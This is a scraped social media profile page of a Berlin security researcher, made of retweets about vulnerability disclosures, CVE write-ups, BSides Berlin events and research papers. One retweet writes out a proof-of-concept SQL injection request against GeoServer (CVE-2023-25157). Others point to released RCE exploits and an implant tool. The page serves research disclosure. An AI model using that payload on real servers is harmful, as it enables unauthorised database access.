Research Assistant @tuberlin
Berlin, Germany
Joined June 2018
- Tweets29
- Following244
- Followers160
- Likes81
Vincent Ulitzsch retweeted
CVE-2025-24118 is an absolutely crazy race condition I found in the macOS / XNU kernel.
Safe memory reclamation, read-only objects, memcpy implementation details, and a race condition- oh my!
jprx.io/cve-2025-24118
Vincent Ulitzsch retweeted
During a #redteam at @mod0 we discovered a limited but neat bypass for #printnightmare. I talked to @itm4n about it and he had an indepth look. Read about it here:
itm4n.github.io/printnightma…
#itsec
Vincent Ulitzsch retweeted
A big thank you to our Review Committee
@BalthasarMartin @parzel2 @vinulium, Luca Melette and Diana Janetzky. We now have an amazing schedule featuring their favourite talks which you can check out here: bsides.berlin
#BSidesBerlin #appsec #infosec #BSides
Vincent Ulitzsch retweeted
You think Rust is great but you can't use it for your embedded device?
Ivan and me wrote a blog post about gradually introducing it into existing C firmware 🦀🦀🦀
security.googleblog.com/2024…
Vincent Ulitzsch retweeted
Shells at midnight: Exploiting the flexibility of Email addresses for offensive purposes.
Today we are publishing a new blog post about our disclosure report on #MailCleaner #CVE-2024-3191: modzero.com/en/blog/beyond_t…
@[email protected] will also present at @a41con today.
Vincent Ulitzsch retweeted
We identified critical vulnerabilities in MailCleaner. A command injection vulnerability can be exploited by sending an Email. Our report can be found here: modzero.com/en/advisories/mz…
Kudos to chaos.social/@born0monday and chaos.social/@parzel #MailCleaner #CVE-2024-3191 #Infosec
Vincent Ulitzsch retweeted
Unfortunately this is necessary:
8532a9e0e49991ffdc3bfe7b728513e254e288a86275c6473e3b42228641e5fa MZ-24-01_8641e5fa.pdf
(and please find us on mastodon as well: infosec.exchange/@modzero)
Vincent Ulitzsch retweeted
Today we release the proof-of-concept exploits for the vulnerabilities we identified in HP #Poly VoIP devices. At the #37C3 we presented how these issues allow an attacker with network access to gain RCE and transform your devices into wiretaps.
github.com/modzero/MZ-23-01-…
Vincent Ulitzsch retweeted
Proof of Concept for #CVE-2023-25157
/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=osm:osm_places&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+current_user%29+AS+INTEGER%29%29+--+%27%29+%3D+true
Vincent Ulitzsch retweeted
I merged together a few offensive golang projects to create a go / cgo bof runner that you can use in your implants. Not field-tested though :) #redteam
github.com/parzel/GoBofRunne…
Vincent Ulitzsch retweeted
A big thank you to our Review Committee @BalthasarMartin @parzel2 @vinulium and Luca Melette. We now have an amazing schedule featuring their favourite talks which you can check out on bsides.berlin
#BSidesBerlin #appsec #infosec #BSides
Vincent Ulitzsch retweeted
Disk encryption is critical in securing your data when you lose your device or an attacker gets physical access. But we found that if you don't use a BitLocker passphrase on an AMD system (before Windows even comes up), your data is not adequately secured: arxiv.org/abs/2304.14717
Vincent Ulitzsch retweeted
Our early xmas present: We prove a super-polynomial #quantumadvantage of fault tolerant #quantumcomputers for combinatorial #optimization.
scirate.com/arxiv/2212.08678
Vincent Ulitzsch retweeted
Better make sure your password manager is secure -- or someone else will. We found critical security issues in the enterprise password manager Passwordstate that allowed to access passwords and gain a shell -- without any authentication #CVE-2022-3875 modzero.com/modlog/archives/…
Vincent Ulitzsch retweeted
#BSidesBerlin is back!
Save the date: Saturday 26.11 at @cbase and online
The CFP is Open until 16.10 papercall.io/bsides-2022-ber…
Tickets are available on our website bsides.berlin
@SecurityBSides @cfp_time
Vincent Ulitzsch retweeted
After 2 years of audits, here are our top 6 bug classes we find when auditing #Substrate-based Blockchains.
Read how to find them as well on
srlabs.de/bites/blockchain-s…
Vincent Ulitzsch retweeted
In over a dozen audits we gained extensive experience in auditing #Substrate-based blockchain projects.
This blog post describes our methodology that helped to identify many critical vulnerabilities.
srlabs.de/bites/blockchain-s…
Vincent Ulitzsch retweeted
We're thrilled to announce @LiveOverflow as opening keynote speaker for this year’s #BSidesBerlin
If you want to join the lineup, our CFP is open until 06.05! papercall.io/bsides-2021-ber…
Vincent Ulitzsch retweeted
#BSidesBerlin is back in 2021!
👨💻Join us online on Saturday August 28
👩💻 Submit a talk! The CFP is open until 06/06 papercall.io/bsides-2021-ber…
🧑💻 Get your free ticket registration.socio.events/e/…
